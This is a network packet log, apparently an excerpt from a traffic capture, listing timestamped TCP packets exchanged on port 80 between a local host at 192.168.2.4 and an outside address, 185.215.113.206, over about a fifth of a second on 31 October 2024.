Oct 31, 2024 11:27:05.285953999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285965919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285990000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.286016941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.286051035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.366780996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.366863966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.366899967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.366918087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.366972923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.366978884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.366980076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367011070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367026091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367044926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367059946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367094994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367101908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367155075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367156029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367201090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367209911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367244959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367269039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367290974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367295980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367345095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367367029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367413998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367424011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367458105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367470980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367522001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367532969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367567062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367593050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367604971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367609978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367641926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367652893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367679119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367691994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367712975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367727995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367748022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367758036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367780924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367794037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367815971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367825985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367849112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367866039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367883921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367896080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367933035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367933989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.367980003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.367985010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368020058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368032932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368072033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368079901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368105888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368123055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368141890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368155003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368177891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368187904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368226051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368237972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368289948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368293047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368324995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368341923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368357897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368375063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368393898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368407965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368427992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368438005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368464947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368473053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368494034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368515968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368541002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368542910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368580103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368594885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368613958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368619919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368649006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368660927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368683100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368695974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368717909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368727922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368752003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368769884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368792057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368799925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368827105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368841887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368860960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368871927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368895054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368907928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368932009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368941069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368961096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.368989944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.368993044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.369019985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.369028091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.369035006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.369061947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.369095087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.369108915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.370973110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371002913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371037006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371052980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371054888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371092081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371104956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371125937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371138096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371161938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371174097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371207952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371215105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371273041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371279955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371301889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371340036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371340036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371377945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371411085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371429920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371445894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371457100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371481895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371496916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371515036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371531010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371560097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371567011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371617079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371618032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371650934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371669054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371692896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371704102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371737957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371757030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371772051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371783018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371808052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371820927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371846914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371860027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371895075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371910095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371927977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.371942043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371974945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.371980906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372011900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372037888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372056007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372064114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372098923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372117043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372144938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372154951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372189999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372206926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372236013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372241020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372278929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372289896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372308016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372329950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372347116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372354984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372394085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372400999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372437000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372447968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372471094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372484922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372507095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372519970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372558117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372562885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372597933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372613907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372632027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372644901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372665882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372678995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372699976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372709990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372735023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372747898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372769117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372802973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372807026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372837067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372838020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372867107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372875929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372875929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372901917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372915030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372936964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372947931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.372972965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.372987986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.373008966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.373019934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.373044014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.373061895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.373079062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.373086929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.373114109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.373126984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.373166084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402432919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402492046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402544975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402564049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402579069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402616024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402650118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402650118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402650118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402667999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402678967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402720928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402725935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402755976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402770996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402805090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402805090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402841091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402852058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402877092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402908087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402914047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402947903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402950048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.402965069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.402983904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.403004885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.403048992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.403048992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.403106928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.483680964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.483836889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.483906984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.483943939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.483968019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.483968019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.483968019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.483978033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484014034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484036922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484049082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484054089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484076023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484101057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484121084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484160900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484184980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484195948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484215021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484231949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484251976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484268904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484287024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484302998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484323978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484339952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484365940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484375954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484392881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484410048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484433889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484462023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484463930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484517097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484524965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484553099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484580994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484590054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484606981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484643936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484664917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484679937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484710932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484715939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484728098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484750986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484777927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484786034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484805107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484824896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484839916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484858990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484890938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484894037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484910011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484927893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484945059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484962940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.484978914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.484997988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485013962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485032082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485049009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485084057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485090017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485120058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485151052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485155106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485186100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485188961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485208035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485239983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485243082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485274076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485301971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485306978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485318899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485342026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485358953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485392094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485394955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485425949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485445023 CET	49730	80	192.168.2.4	185.215.113.206
